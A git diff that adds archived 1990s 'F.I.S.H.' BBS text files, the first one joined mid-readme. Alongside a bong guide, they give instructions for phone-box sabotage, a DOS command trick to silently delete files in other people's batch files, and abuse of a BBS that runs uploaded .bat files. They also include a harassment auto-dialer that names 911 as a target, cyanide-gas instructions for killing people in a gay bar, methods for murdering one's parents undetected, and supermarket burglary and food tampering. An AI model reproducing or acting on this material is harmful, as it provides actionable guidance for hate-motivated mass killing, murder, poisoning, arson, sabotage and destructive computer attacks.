the program and should delete it, it may have been +tampered with. + +What will future versions have? + +-Internal Com Routines for WAY more compatability +-A better menu +-A better everything +-Option to download the bbs list via the protocol of YOUR choice +-Search options (i.e. search for an entry by BBS name) + +Any suggestions are appreaciated and usually ignored. Just kidding. +If you want to gimme some input you can find me at the following locations: + +Fall and Winter: NREESE@YVAX.BYU.EDU +Spring and Summer: NATHAN@FATAL.COM + +Or you can call The Sect Of The Trampoline People BBS which features the +latest version of this program at: (801)375-3058 +But beware! I am moving soon so the number will change. Your chances are +better if you use the internet mail adresses above. + +Wanna send me money for this program and possibly extend my life another +day? Send five bucks to: Nathan Reese + 8789 Heritage Ct. + Redding CA 96001 + +Check, Money Order, CASH... we do it all. + + +Until The Next Version: Buh Bye + + diff --git a/textfiles.com/groups/FISH/blister.lst b/textfiles.com/groups/FISH/blister.lst new file mode 100644 index 00000000..cd6a269d --- /dev/null +++ b/textfiles.com/groups/FISH/blister.lst @@ -0,0 +1,8 @@ +The Sect Of The Trampoline People +TED +14400 +Searchlight 3.5b +(801) 375-3058 +Utah +The best gosh darn BBS in the whole world. Ok maybe not. But we do +have a GIG Hard Drive + CD-ROMS and TONS of files on naughty stuff diff --git a/textfiles.com/groups/FISH/bong.txt b/textfiles.com/groups/FISH/bong.txt new file mode 100644 index 00000000..96e5278a --- /dev/null +++ b/textfiles.com/groups/FISH/bong.txt @@ -0,0 +1,69 @@ +How to make a really good bong by -Castro (ding) of the FiSH GaNg +After finding the smoothness of a good bong about a year ago me and +several of my colleagues have come upon a few good methods of making +them. First Off if you dont know what a bong is go away. Or i could +just tell you....not to suttley though (Its to smoke pot out of). +There are several (hundred?) methods. here are a *few*. + +Method A. +To Make This Bong You Need: +1. A Glass Jar (The Things Your Mom Uses to bottle fruit)(With A Lid) +2. Water Weenee (whatever you call it..surgical tubing i guess) +3. Something to use as a bowl such as a big peice of wood looking +thing with a small bowl shaped thing at the top to put the buds in. +4. something to put in it. You *can* use water but i strongely suggest +beer. +Okay First off we need to Clean out the glass jar (dont want nothing +harmfull in our good ol' bong now do we?). Now You need to make a hole +in the lid about the size of the thing your gonna use for a bowl. +Now we take the the lid and make another hole in it for the tubing. +this is what youll be sucking on to get the smoke out of it. now put +the bowl in the lid and hot glue gun it in and make sure its gonna +be air tight or else this wont work very good. make sure the bowl +thing goes down almost to the bottom of the jar. now you wanna make a +hole for the tubing (did i say that all ready?) and hot glue that +in as well. okay now fill the thing up with beer or whatever make a +trip to your friendly neighborhood drug dealer and your set. + +Method B. +What Youll Be needen to make this one: +1. PVC piping. about 7 inches tall and about 3 inches wide would ya say? +oh yeah it helps to have an end peice to it too. +2. another thing to use as a bowl. Ive used plastic tubing before and +wood parts (looks kind of like a pipe?). +This Method is somewhat easier to make then the above and its smaller +as well. First off cut a hole in the pipe about 1 or 1/2 inch above +the bottom of it. make it a diagonal cut so the bowl il (el?) fit good. +Now insert the bowl going almost straight up but now quiet (?). just +enough (youll see). now you kind of need to glue it in and make it +air tight. now all you have to do is fill it up and put some +budz(s?) in. now light the ol' herb up and ...um...do whatever comes +to mind. + +Method A. +What You might be needen: +1. A Baby Bottle (any kind should do) +2. some more water weeny. (unless you like them plastic nipples). +3. another thing to use as a bowl and neck thing. tube or one of +those things youll find lurking in your room somewhere that you +dont know where the hell it came from but it sure makes you say +"this sure would work as a bowl for a bong". +Okay First off cut that damn plastic nipple thing off the baby +bottle. not to much but enough. you be the judge. then whilst +your there tape or glue the weeny to the the end of the thing +you just cut off as to make it easy to pass around. now you +need to make a hole in the baby bottle about oh id say 1 inch up +from the bottom of it about (you guessed it) the size of the +thing your gonna be using as a bowl. now glue the bowl in and +make sure you get it pretty good as baby bottles are a pain in +the ass sometimes (you perv). now unless i forgot something you +should be able to fill it up with something (whiskey would be fun) +and go toke till you may toke no more. + +There you go. you now are enlightened with the art of bong making. +share your knowledge so that others might know as well (hehehehe). +oh ...one more thing you might want to get is a lighter. dont +use matches as they are gross and will kill you on the first hit. +try experimenting with what you put in your bong as different things +do different things. tropical fruits and whiskey are always fun for me. +buh bye. -Castro diff --git a/textfiles.com/groups/FISH/bong1.pcx b/textfiles.com/groups/FISH/bong1.pcx new file mode 100644 index 00000000..3a076e2f Binary files /dev/null and b/textfiles.com/groups/FISH/bong1.pcx differ diff --git a/textfiles.com/groups/FISH/bong2.pcx b/textfiles.com/groups/FISH/bong2.pcx new file mode 100644 index 00000000..af83e00e Binary files /dev/null and b/textfiles.com/groups/FISH/bong2.pcx differ diff --git a/textfiles.com/groups/FISH/bong3.pcx b/textfiles.com/groups/FISH/bong3.pcx new file mode 100644 index 00000000..9b7bd1ca Binary files /dev/null and b/textfiles.com/groups/FISH/bong3.pcx differ diff --git a/textfiles.com/groups/FISH/death.txt b/textfiles.com/groups/FISH/death.txt new file mode 100644 index 00000000..72c98793 --- /dev/null +++ b/textfiles.com/groups/FISH/death.txt @@ -0,0 +1,106 @@ + Its another phun F.I.S.H. FILE! + + presenting the + + ÚÄÄÄÄÄÄ¿ ÚÄÄÄÄÄ¿ ÚÄÄÄÄÄÄ¿ ÚÄÄÄÄÄ¿ ÚÄ¿ ÚÄ¿ + À¿ ÚÄ¿ ³ ³ ÚÄÄÄÙ ³ ÚÄÄ¿ ³ ÀÄ¿ ÚÄÙ ³ ³ ³ ³ + ³ ³ ³ ³ ³ ÀÄ¿ ³ ÀÄÄÙ ³ ³ ³ ³ ÀÄÙ ³ + ³ ³ ³ ³ ³ ÚÄÙ ³ ÚÄÄ¿ ³ ³ ³ ³ ÚÄ¿ ³ + ÚÙ ÀÄÙ ³ ³ ÀÄÄÄ¿ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ + ÀÄÄÄÄÄÄÙ ÀÄÄÄÄÄÙ ÀÄÙ ÀÄÙ ÀÄÙ ÀÄÙ ÀÄÙ + + BOX + + + By + Punk Rock Girl + & + Sister Ida The Psychic Whore + + + + Well i recently went out Beige Boxing and noticed that there +were about 300 wires in this here Green Base. Well i thought to +myself, Golly if only I could somehow disable an entire +neighborhood then i could have LOTS of phun. +So I did... + + + METHOD A + +Items you need: + +1. Good Wire cutters +2. 7/16 hex wrench +3. blow torch +4. Some good wire + + Go to your local welding supply store and get some of that +really thick wire that melts at a low temperature. Then go to the +Green Base that you wish to destroy forever. Open up the box and +beige box it so you can call Sister Ida the Psychic Whore at +1-900-745-1855. + After you get your fill of Sister Ida Switch all the wires +in the Box. Yes that's right. Make the phone lines in one house +run on the phone lines of another house and vice versa! You could +leave at this point and let the person who now has a new phone # +get calls all day for their neighbor or you could knock out the +whole neighborhood... + Just grab the wires as close as you can to the hole they +come out of and cut them up. Now connect them all together into +one big ball o' wires. Get your GOOD WIRE that you bought and +wrap all the terminals together ( the brass bolts that are in +nice little rows ). Now light your blow torch and melt the wires +all over the terminals and make sure they are still connected +really good. I like to wrap a hanger around it and add some +miscellaneous junk like key rings and scissors. Now melt the fuck +out of everything else and run away... + It will take like 2 days for the idiots at PacBell to get +down there and fix it. + METHOD B + +items you will need: + +Blow torch +Duct tape +Pocket knife ( a good anarchist/phreak always has one ) +Cement +A 10 gallon bucket + + Mix the cement in the bucket and put the lid on real tight. +Now go to the Green Base and cut all switch all the wires inside +then close it up good. Now put tape around the edges and the +little ventilation holes at the bottom. Use the blow torch to cut +a large hole in the top of the box and pour your THICK cement in. +If you wanna be messy about it pour it all over the Green Base as +well. Now you have given the fone company a nice statue! + + Helpful Alternatives + + I like to do the cement method but instead of pouring in +cement pour live mice into the hole. Mice are real cheap at the +pet store. OR even about 50 large gold fish! You can steal +goldfish from any park or backyard pond. + + + Well that is about it for this file but be sure to +look for the other F.I.S.H. files! + + OH I forgot the disclaimer: Don't use this file! + It is for information only and I am not responsible + if you do... blah blah blah + + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ ÖÄÒÄ¿ Ò Â ÒÄÄ¿ Ò Â ÄÒÄ Ò Ò ÖÄÄ¿ ÖÄÄ¿ ÒÄÄ¿ ³ + ³ º ÇÄÄ´ ÇÄ Ó·ÚÙ º º º ÇÄÄ´ º Ä¿ ÇÄ ³ + ³ Ð Ð Á ÐÄÄÙ ÓÙ ÄÐÄ ÐÄÄÙ ÐÄÄÙ Ð Á ÓÄÄÙ ÐÄÄÙ ³ + ³ (916) 244-3569 ³ + ³ Sysops: ³ + ³ For All The F.I.S.H. files FIRST! Punk Rock Girl ³ + ³ & ³ + ³Great original doors! Goatlord ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + \ No newline at end of file diff --git a/textfiles.com/groups/FISH/evilbat.txt b/textfiles.com/groups/FISH/evilbat.txt new file mode 100644 index 00000000..d902962b --- /dev/null +++ b/textfiles.com/groups/FISH/evilbat.txt @@ -0,0 +1,32 @@ + Hooray! Another F.I.S.H. file!!! + -=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=- + + Evil Batch + by The Infidel + + Deletion of everything from a batch file! Avoid the +annoying DOS: "Are You Sure:" and just wipe it all out! + +To pipe a 'Y' into the 'del *.* ' command, here is whatcha do: + +Create a file called 'Y.TXT'. +Type one letter (Y) in the file, and press Enter. +Save the file. +from the dos prompt ( or batch file ) type: + +del. < Y.txt + +It wil pipe the Y into the del *.* command, and not prompt you for a Y/N. + +This is good for putting into people batch files and some such stuff. + + /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + | Phor more phun phor all occasions, call: | + | | + | The Sect Of the Trampoline People Debbie's Closet | + | F.I.S.H. World Headquarters I F.I.S.H. World Headquarters ][ | + | 916/244-3569 707/UNK-NOWN | + | Sysop: Punk Rock Girl Sysop: The Infidel | + | 14.4/275m/CD-ROM/PAGAN,Phreak,Anarchy 14.4/414m/tp/asm/c/qb/hpav.c | + \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + diff --git a/textfiles.com/groups/FISH/file_id.diz b/textfiles.com/groups/FISH/file_id.diz new file mode 100644 index 00000000..acce50ca --- /dev/null +++ b/textfiles.com/groups/FISH/file_id.diz @@ -0,0 +1,15 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +ÀÜÛÜ ÜßÛßßßß Û ÜßßßÜ ßÛ ßÛ ÜÛÜÙ + ÜÛßÛÛ ÛÛ Û ÜÛß + ß ÜÜÛÜÜ Û ßßÜÜ ßÛßßßÛ ß Ü + ÜÛßß ÛÛÛ Û Û ÜÛß + ß ÜÜß ù ßÜùßÜÜÜÜßùÜß Üßùß Ü + ÜÛßÜÛß + ßÛÜFolks In Santa Hats ßÛÜ + ÜÛß- present -ÜÛß + ß ÜTrojan Horse Tutorial ß Ü + ÜÛßVolume 1ÜÛß + ß Üß Ü + ÜßÛ Another phun FISH phile ÜßÛ +ÚßÛß Cour'd by: GODßÛß¿ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/groups/FISH/g.txt b/textfiles.com/groups/FISH/g.txt new file mode 100644 index 00000000..e3050733 --- /dev/null +++ b/textfiles.com/groups/FISH/g.txt @@ -0,0 +1,26 @@ + + + This is Punk Rock Girl of the infamouse F.I.S.H. gang + I just had to show this neat little batch file for all + you users who call BBS's and hate it when the sysop is + UN-Available. It is easy to use too! Instructions: + + 1. Upload this file to The BBS you called + 2. Use the view/type command and view g.bat + 3. It will beep the Sys-op for 1 minute and drive him insane! + 4. Make sure you upload only G.BAT dont zip it or anything + 5. The End + +The file you make should be called G.BAT and look like this for about 2 lines + +^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G^G + +thats is. Control G will beep when you view it. Slbbs RUNS a .BAT file when +it views it. This could be useful in the future but since I run an SLBBS +I wont tell you what to do with this. SYSOPS BEWARE! + + + Call these great boards! + + The Sect sysop-TED (punk rock girl) (916)244-3569 + Debbie's Closet sysop-The Infidel (916)243-1294 diff --git a/textfiles.com/groups/FISH/gaybar.txt b/textfiles.com/groups/FISH/gaybar.txt new file mode 100644 index 00000000..94fd8324 --- /dev/null +++ b/textfiles.com/groups/FISH/gaybar.txt @@ -0,0 +1,54 @@ +disclaimer: dont use this file we are not responsible for you if +you do + + + + +  +  Another F.I.S.H.  +  FILE  +  By  +  Ezra & Punk Rock Girl  +  + The Sect 916-244-3569 + + + + How to clear out a gay bar! + + Every area has a gay bar and is hated by most of the +citizens. This file is gonna show you how to get it cleared out +and/or kill all the people in it! + +Method 1: + Go up to the door and stick just your head in. Shout as loud +as you can " The Skinheads are coming and they have baseball +bats!! Look out!! RUN!!" + +Method 2 ( kill them all ) : + Get a big coffee can and punch holes all over it with a nail. +Now get a plastic jar and fill it with strong pool acid. A piece +of cloth around the inside of the can to prevent cyanide from +spilling out the holes. Now pour cyanide into the coffee can. +Just enought to cover the bottom. Now place the bottle of acid +into the bed of cyanide at the bottom of the jar. The bottle +should allow about 1 inch around on all sides. + Fill the rest of the coffee can with cyanide. gather the cloth +up around the top of the contents of the can and tie it ightly +with string or wire. Tape the lid on with duct tape. + Now get a really long nail that will fit into one of the holes +you put in the coffee can. hammer it into a small block of wood. + +now to use it: open the door of the gay bar. Place the nail into +one of the holes and SLAM it into the jar in the middle +puncturing it well! the acid spills out all over the cyanide +making cyanide gas! THROW the coffee can fast into the bar and +DONT INHALE THE FUMES!!!! thats it... bye + + For The Latest in F.I.S.H. Files call + + The Sect BBS (916) 244-3569 + SysOp + Spit Boy / Punk Rock Girl + +  diff --git a/textfiles.com/groups/FISH/haha.doc b/textfiles.com/groups/FISH/haha.doc new file mode 100644 index 00000000..a9e00fc6 --- /dev/null +++ b/textfiles.com/groups/FISH/haha.doc @@ -0,0 +1,48 @@ +This is the first real FISH Util. + +Punk Rock Girl's HAHA Dialer. + +To use it just run it. + +When it asks you for the COMPORT type a number. + +When it asks you for the DELAY this is the time it waits from + when it picks up the fone until it hangs up and cycles again. + Use something about 20 since dialing is slow unless you init + your modem to be fast... but modem init comes in the next version + so SUCKS FOR YOU. + +When it asks for REPEATS this is the number of times you + wanna call the people. Any number from 1-2147483647. Seriously. + +Number to call is obvious. Dont put a dash in it. You could but + it is pointless so grow up. + +To cancel the process just press a key and it will abort. +Error messages are returned in TEXT not so you dont have to remember +what ERROR 102 is or any of that shit. + +Look for version whateverversionIwritenext to come out soon. +I'll add an INIT string option and make the interface more sexy. + +Possibly uses for this: + +Radio stations on request day +Super markets +Pizza parlors +911 :) (if you are stupid) +Your X-girl/boy.friend +Shitty BBSs +Good BBSs +Grandmas +Lawyers +Political parties +1-800-DENTIST +1-800-PIN-DROP +The white house +Schools + +P.S. Dont blame me if they call the cops on you for bugging the shit +out of them. Its your fault. Im not your mother. You are responsible +for your own actions. bla bla bla. + diff --git a/textfiles.com/groups/FISH/killmom.txt b/textfiles.com/groups/FISH/killmom.txt new file mode 100644 index 00000000..97179f04 --- /dev/null +++ b/textfiles.com/groups/FISH/killmom.txt @@ -0,0 +1,121 @@ + +YES THAT'S RIGHT! ITS ANOTHER F.I.S.H. F.I.L.E. + + +" ITS A FLOOR WAX" "ITS A DESERT TOPPING" + +BY PUNK ROCK GIRL +EZRA PETROLEUM ZOID + +DISCLAIMER: THIS FILE IS ONLY TO SHOW HOW A PSYCHO MANIAC WOULD +KILL HIS PARENTS. IT IS NOT TO CARRIED OUT IN ANYWAY. PUNK ROCK +GIRL IS NOT RESPONSIBLE FOR THOSE TWISTED LITTLE PUPPY THAT GO +OUT AND DO THIS. BY DOWNLOADING THIS FILE YOU ARE AGREEING TO NOT +DO ANY OF THIS STUFF AND THIS DISCLAIMER + +SPECIAL THANKS TO MY MOM AND DAD FOR BEING TOTAL ASSHOLES + + HOW TO KILL YOUR PARENTS AND GET AWAY WITH IT + +1. THIS FILE IS NOT FOR THE PEOPLE OUT THERE WHO LOVE THEIR +MOMMIES AND DADDIES. IT IS FOR THOSE WITH PARENTS THAT WON'T SHUT +UP. IT IS FOR THOSE WHO ARE JUST SICK OF HEARING " MOW THE LAWN. +RIGHT NOW YOUNG MAN! ARE YOU LISTENING TO ME? I'VE HAD IT UP TO +HERE WITH YOU! YOU'RE NOT GOING ANYWHERE! CUT YOUR HAIR! YOU LOOK +LIKE A DAMN GIRL! DRESS LIKE A MEMBER OF THIS FAMILY! HURRY UP +AND GET A JOB! IF YOU DON'T YOU'LL FIND A NEW PLACE TO LIVE! ( AS +IF THIS IS A THREAT! I WOULD GLADLY MOVE OUT.) " + + THIS IS JUST A MERE SAMPLE OF THE $#!Ñ I HEAR EVERYDAY. I FIND +THAT I WANT TO KILL MY PARENTS MORE AND MORE EVERYDAY! +HERE ARE SOME HELPFUL CONSTRUCTIVE WAYS TO DUST OFF THE OLD NAGS: + +A) DOES YOUR DAD WELD? IF YOUR FATHER WELDS THEN HERES WHAT TO +DO. GET HIS TORCHES AND TAKE THEM APART. RUB A NICE OIL ALL OVER +THE INSIDE. ANY OIL WILL DO. NOW PUT THEM BACK TOGETHER. REPLACE +THEM EXACTLY AS YOU FOUND THEM SO THE JERK WILL NEVER SUSPECT. IF +YOUR DADDY TRIES TO WELD ANYTHING USING AN OXYGEN TANK HE'LL BLOW +HIMSELF AND EVERYTHING AROUND HIM TO HELL. BE SURE TO LEAVE FOR +THE NIGHT AFTER YOU SABOTAGE HIS TORCHES. + +B) DADDY GOT A BIG OFFICE? DADDY GOT LOTS OF COMPUTERS? FORMAT +THEM! BE SURE TO RENAME THE DRIVE SOMETHING LIKE " APRIL FOOLS +VIRUS" SO THE MORONS THINK A VIRUS GOT THEM. + +C) GET A GUN AND SHOOT THEM. COME UP WITH A GOOD ALIBI SO YOU +WON'T GET CAUGHT. DON'T LEAVE ANY FINGER PRINTS. BEFORE THE DEED, +PRETEND TO LOVE THEM IN PUBLIC. ACT REALLY SAD AT THE FUNERAL AND +DURING QUESTIONING. YES THAT'S RIGHT THE POLICE WILL QUESTION +YOU. IF YOUR REALLY CREATIVE YOU CAN MAKE IT LOOK LIKE BURGLAR +BROKE IN AND SHOT THEM. + +D) SUICIDE THEM. PUT POISON IN MOMS COFFEE OR IN HER FOOD. MAKE +SURE TO USE A POISON THAT DISSOLVES INTO BODY TISSUE AND IS +UNTRACEABLE. THAT MAY SOUND HARD BUT THERE ARE MANY CHEMICALS +THAT WILL DO SO. + +E) ELECTROCUTION LOOKS LIKE A HEART ATTACK. IF YOU SURGE ENOUGH +AMPS THROUGH DADS HAND OR ANOTHER BODY PART HIS LITTLE HEART WILL +STOP. IT WILL LOOK LIKE HE HAD A HEART ATTACK! VOLTS WON'T WORK! +USE AMPS! I CAN'T THINK OFF HAND WHERE ONE MIGHT COME UP WITH A +GOOD SOURCE OF HIGH AMPERAGE EXCEPT FOR THOSE TASER STUNNER +THINGYS. JUST PRESS IT INTO HIM FOR ABOUT 10 MINUTES. I OWN A BIG +TRANSFORMER. THIS BABY ARCS LIKE YOU WOULDN'T BELIEVE! IF ONE +WERE TO TOUCH JUST ONE WIRE TO.... OH SAY, A DOOR KNOB, WHEN +DADDY LEAVES FOR WORK HE WON'T GET FAR! THIS DOESN'T ALWAYS KILL +A PERSON HOWEVER. IT JUST THROWS THEM BACK ABOUT 10 FEET AND THEY +FEEL LIKE THEY JUST GOT HIT BY A TRUCK. TRY TO GET THEM TO TOUCH +IT FOR MORE THAN FIVE SECONDS. 3rd TIMES A CHARM. + +F) MAKE IT LOOK LIKE AN ACCIDENT! ACCIDENTLY DROP A HOUSE ON HIM +OR SOMETHING AND THEN CALL 911. SAY " PLEASE HELP! MY DAD WAS OUT +WORKING AND A WHEELBARROW FULL OF BRICKS TIPPED OVER ON HIS HEAD! +I THINK HIS SKULL IS CRUSHED INTO SAND! " OF COURSE YOU CAME HOME +FROM YOUR FRIENDS HOUSE AND SAW HIM LYING THERE ON THE GROUND. IT +SEEMS HE WAS WORKING UNDER AN AWNING OR SOMETHING WHEN ALL OF HIS +BANGING AROUND SHOOK THE WHEELBARROW RIGHT OFF THE ROOF. ( IT WAS +ALREADY PRECARIOUSLY BALANCED! ) + +G) SPEND THE NIGHT AT YOUR FRIENDS HOUSE. SNEAK OUT AND GO HOME +ONCE EVERY BODY HAS GONE TO BED. TAKE ALL OF THE BATTERIES OUT OF +YOUR SMOKE DETECTORS. REPLACE THEM WITH DEAD ONES. NOW MOVE A +TRASH CAN NEAR AN ELECTRIC OUTLET. PUT A LITTLE LIGHTER FLUID ON +IT TO GET THINGS GOING. NOT A LOT! NOW GO AND CUT THE POWER TO +THE HOUSE. GO BACK IN AND REMOVE THE COVER TO THE OUTLET NEAR THE +TRASH. GRAB THE TWO WIRES INSIDE AND TWIST THEM TOGETHER NICE AND +GOOD. PLACE THEM REALLY CLOSE TO THE TRASH AND ADD SOME LIGHTER +FLUID TO THE TRASH BEING SURE TO SQUIRT IT ALL OVER THE WIRES. +NOW GO OUTSIDE AND TURN THE POWER ON. THE SPARKS FROM THE WIRES +WILL IGNITE THE TRASH AND FOOM! BYE BYE HOUSE. IF THE SPARKS FAIL +TO IGNITE THE TRASH THEN LEAVE THE SETUP ALONE. +GET A CAN OF GAS. PLACE A BUNCH AROUND THE OUTSIDE OF THE HOUSE. +THE WOOD PILE MAKES AN IDEAL PLACE SINCE IT IS DRY AND CLOSE TO +THE HOUSE (USUALLY). NOW DRENCH THE WOOD. LIGHT A MATCH. RUN. +GOOD THING YOU WEREN'T EVEN AT NEAR YOUR HOUSE WHEN IT WENT UP IN +FLAMES! JUST MAKE SURE YOU AREN'T SEEN AND THAT YOU GET TO YOUR +FRIENDS HOUSE BEFORE THE POLICE CALL WITH " THE BAD NEWS " + +H) GOPHER GASSERS CAN BE BOUGHT AT MOST HARDWARE STORES. THESE +THINGS SHOOTS OUT POISONED GAS. ONE IN THE HOT STEAMY BATHROOM +WHILE DAD IS IN THE SHOWER WILL PROBABLY HURT HIM A LOT IF NOT +JUST KILL HIM. + +I) WHEN YOU SHOWER THE COMMON HUMAN TAKES OFF ITS SHOES. PUT A +WHITE THUMB TACK OR TWO ON THE FLOOR IN THE SHOWER. YOU CAN GET +THEM IN MOST ANY COLOR NOWADAYS. PICK ONE THAT BLENDS IN WELL. + +J) RUN THEM OVER WITH THE CAR AND MAKE IT LOOK LIKE AN ACCIDENT + +K) DRIVERS SIDE AIR BAG! THINK ABOUT IT! DAD IS IN THE PASSENGER +SEAT. OH LOOK OUT A BIG BRICK WALL!!!! + +L) SLOW BUILD UP OF MERCURY COMPOUNDS IN THE BLOOD MAKES 'EM GO +CRAZY. DOCTORS THINK IT IS FROM NATURAL REASONS I.E. BATTERIES +ROOTING IN THE GROUND RELEASING IT AS THE DECOMPOSE AND THEN +BEING INHALED BY DAD. DON'T PUT TOO MUCH IN HIS FOOD OR HE'LL +KNOW! IT ALSO LOOKS A LITTLE OBVIOUS WHEN THE AUTOPSY REVEALS 43 +POUNDS OF MERCURY DISSOLVING HIS BRAINY MEATS. + +M) DRIVE A WOODEN STAKE INTO THEIR HEARTS AND PLEAD INSANITY. ( +HE HE HE HE HE) + \ No newline at end of file diff --git a/textfiles.com/groups/FISH/market.txt b/textfiles.com/groups/FISH/market.txt new file mode 100644 index 00000000..76ab7a2c --- /dev/null +++ b/textfiles.com/groups/FISH/market.txt @@ -0,0 +1,186 @@ + Its another file by those gods of water color: + + ÚÄÄÄÄÄ¿ ÚÄÄÄ¿ ÚÄÄÄÄÄ¿ ÚÄ¿ ÚÄ¿ + ³ ÚÄÄÄÙ À¿ ÚÙ ³ ÚÄÄÄÙ ³ ³ ³ ³ + ³ ÀÄ¿ ³ ³ ³ ÀÄÄÄ¿ ³ ÀÄÙ ³ + ³ ÚÄÙ ³ ³ ÀÄÄÄ¿ ³ ³ ÚÄ¿ ³ + ³ ³ ÚÙ À¿ ÚÄÄÄÙ ³ ³ ³ ³ ³ + ÀÄÙ ÀÄÄÄÙ ÀÄÄÄÄÄÙ ÀÄÙ ÀÄÙ + + For all your phun stuff... + + + + + + Once again the F.I.S.H. Gang turns out another file for your +reading pleasure. The topic is: + +  How to trash your local Supermarket  + By Punk Rock Girl + Hugh + Ida the psychic Whore + Stone + + Every small town has a super market that is painted a most +hideous color and looks like a time traveler from the 60's. Lets +wipe it out! Here are a few things you can do: + +1. There is always a place for them to dump the thick used grease +from the deli ( assuming it has one ). Look out back and search +for a big barrel. The lid will come off easily and you can dump +it all over the parking lot or steal it. A big barrel full of +thick runny lard can do wonders in the fountain at city hall or +all over your 'friends' front porch. + +2. They regularly chuck the old rotten dairy products into the +large dumpster near the grease barrel. I have found that a +swollen container of sour cream explodes on contact with any wall +or other hard surface. In addition to this treasure trove of +rotten cottage cheese and sourcream can be found cartons of +things like milk and orange juice. They are grossly swollen due +to the decomposing slime inside them. I like to take as many as i +can into the back of Stone's truck and hurl them out of the back +at high speeds. They explode and leave nice sticky smelly spots +when throw hard enough. + +3. The truly lucky people will find that there is a window in the +store someplace and they can get in this way. How? Well most old +stores don't have the $ or the time to install new windows for +security so just break it! Put duct tape in a big square on the +window. Now get a sledge hammer and smash it! The tape will hold +the glass up so it doesn't go SMASH! and crash to the floor +alerting the security guard. There is always a night man there so +look out for him. He is just a store clerk who sticks the shelves +but he can call the cops and often does. The best thing to get +rid of him is to go up to the front of the store and bang on the +doors as hard as you can until he comes up there. Then tell him +that you have to use the phone cause you just saw a guy laying in +a pool of blood. Adults always fall for this shit. While he is +busy handling that the other guys can sneak in the back and get +into the walking cooler for all the beer you could ever want. Be +sure to plan a REALLY good story for the stupid night man before +you go and be sure to throw rocks through his car windows before +you leave. + +4. Stores are messy. They leave opened food all over the back and +you could easily breed mice in this nice environment. SO DO IT! +Walk into the store with a bag full of mice. Say you need to use +the potty and go back and throw the bag on top of the walk-in +coolers or up in the rafters. The mice will chew their way out in +about 2 minutes and take over the place. + +5. Count the cars in the parking lot. Now go into the store and +make sure you see 1 person per car you counted. Late at night +there is only the employees so this is easy. Make sure you see +the people up front. If there is one car un-accounted for then +ASSUME it belongs to the FAKE SHOPPER who will arrest you for +anything. Use the potty excuse to get into the back. There is +hardly anybody there late at night, like 10 minutes before they +close. Look around and remember where everything is. Then come +back at the same time on the same day next week. Go into the back +and put just about everything you can by the big delivery doors +in the back ( there will be a semi parked here once a week during +deliveries ). Now put some garbage on top of it or something so +they cant see it. Most people are too lazy to see what it is let +alone put it all back. That night silently creep up to the doors. +Most old doors slide up about 3-4 inches before the latch stops +them. If you are good you can reach in and pick the lock but +there is still the night man. Just pull all the stuff under the +door and run. SILENCE IS THE KEY + +6. Prank call the store all the time. It makes them have to say +the stupid " Raleys Market thank you for calling, this is BUCK +how can i help you today? " +You: Well BUCK i am looking for meat. Raw bloody meat. +BUCK: Umm... We have all kinds in our meat department. +You: I don't want that kind. I want human meat. I want to lick it +and sodomize it and shove it up my butt. +BUCK: + +call back + +BUCK: "Raleys...etc. " +You ( sounding like a woman ): I am having my period and i'm just +bleeding like a fucking stuck pig. Do you have those big tampons +that i can shove in and stop it? +BUCK: + + CALL BACK  + +Be creative. They have to run all the way across the store to get +the phone. Especially if you call at 5:00 on a Friday when they +are totally swamped. + +7. Get a syringe and fill it with glue. Shoot it into everything +they have. PRODUCE is the best. I like to stick it in milk too. +If you are good you can make it look like your just picking up +the milk to look at the expiration date when you inject Elmers +glue into it. GLUE TASTES LIKE PEE! If you inject water into the +bread it will mold on the shelves. + +8. Beware the fake shopper. For he is mean and can be deceitful. +Look for those windows that are all black. AVOID THEM. Mr. Fake +looks for people who come into the market and go straight to +something. Most people look around a bit. Don't keeps looking +over your shoulder all the time. Smile. Say hi to all the zombies +in the store. Look for a guy who is always talking to the +employees but is not wearing a uniform. MOST OF ALL don't think +because you discovered who it is that he is the only one they +have. Fake shoppers also carry one item around the store for +about 5 hours and they NEVER leave. Look at all the people in the +store and then watch who comes out. If he/she/it catches you your +screwed. + +9. Disassemble the stupid horse/mary-go-round out front. + +10. They trim the rotten stuff off the produce. What do they do +with it? They usually save it for some fat guy who picks it up +and feeds it to his animals. Call in and say " Hi. Can i speak to +the produce manager? "( he answers) "Hi My name is Jed and i was +wondering if i could have the produce yall don't use down there. +You know the trimmins and stuff. I got me some pigs to feed." If +he says no then have a friends call back the next day and ask if +he can have SOME of the old produce for a project he is doing on +rotting fruit for his biology class. Pick out the sickest things +like old cantaloupe and bananas. Use them wisely to decorate a +house or object of the city government. + +11. Some stores have all the registers networked. They use those +little radio network things that connect back to the main +computer someplace in an office which is conveniently hidden from +you ( usually ). Build a radio jammer and stash it in your coat. +Hang around the office a lot. + +12. Utterly deface the barcodes of all that you purchase. Doing a +price check for everything is SUCH a pain. You can even photo +copy your own and glue it over the stores. I like to make +everything ring up as beer. + +13. Deliver a roadkill to them at night. Just put it in a box and +leave it by the door. + +There are so many things you can do in a super market it is +scary. Try the potty excuse and look around. + + + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ ÖÄÒÄ¿ Ò Â ÒÄÄ¿ Ò Â 